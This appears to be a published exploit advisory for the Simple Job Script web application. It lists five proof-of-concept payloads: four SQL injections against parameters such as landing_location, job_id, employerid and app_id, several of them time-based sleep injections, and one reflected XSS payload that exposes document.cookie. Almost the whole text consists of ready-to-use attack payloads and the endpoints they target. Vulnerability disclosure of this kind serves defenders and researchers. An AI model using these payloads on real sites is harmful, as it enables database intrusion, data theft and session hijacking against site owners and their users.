SJS Simple Job Script - SQL Injection / Cross-Site Scripting

# Exploit Title: Simple Job Script - Multiple Vulnerabilities
# Date: 26.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://simplejobscript.com/
# Download Link:
https://github.com/niteosoft/simplejobscript/archive/master.zip
# Demo Site: https://demo.simplejobscript.com
# Version: Lastest
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request: http://localhost/[PATH]/searched
Vulnerable Parameter: landing_location (POST)
Payload:
landing_location=-1%20OR%203*2*1=6%20AND%20000405=000405%20--%20&landing_title=test



----- PoC 2: SQLi -----

Request: http://localhost/[PATH]/get_job_applications_ajax.php
Vulnerable Parameter: job_id (POST)
Payload: job_id=-1%20OR%203*2*1=6%20AND%20000615=000615%20--%20


----- PoC 3: SQLi -----

Request: http://localhost/[PATH]/register-recruiters
Vulnerable Parameter: employerid (POST)
Payload: if(now()=sysdate(),sleep(0),0)


----- PoC 4: SQLi -----

Request: http://localhost/[PATH]/delete_application_ajax.php
Vulnerable Parameter: app_id (POST)
Payload:
app_id=(select(0)from(select(sleep(0)))v)/*'%2B(select(0)from(select(sleep(0)))v)%2B'"%2B(select(0)from(select(sleep(0)))v)%2B"*/


----- PoC 5: XSS -----

Request:
http://localhost/[PATH]/jobs?_=1&job_type_value[]=Full%20time&srch_location_val[]=fulltime_ctype
Vulnerable Parameter: job_type_value[] (GET)
Payload: "><svg+onload%3Dalert(document.cookie)>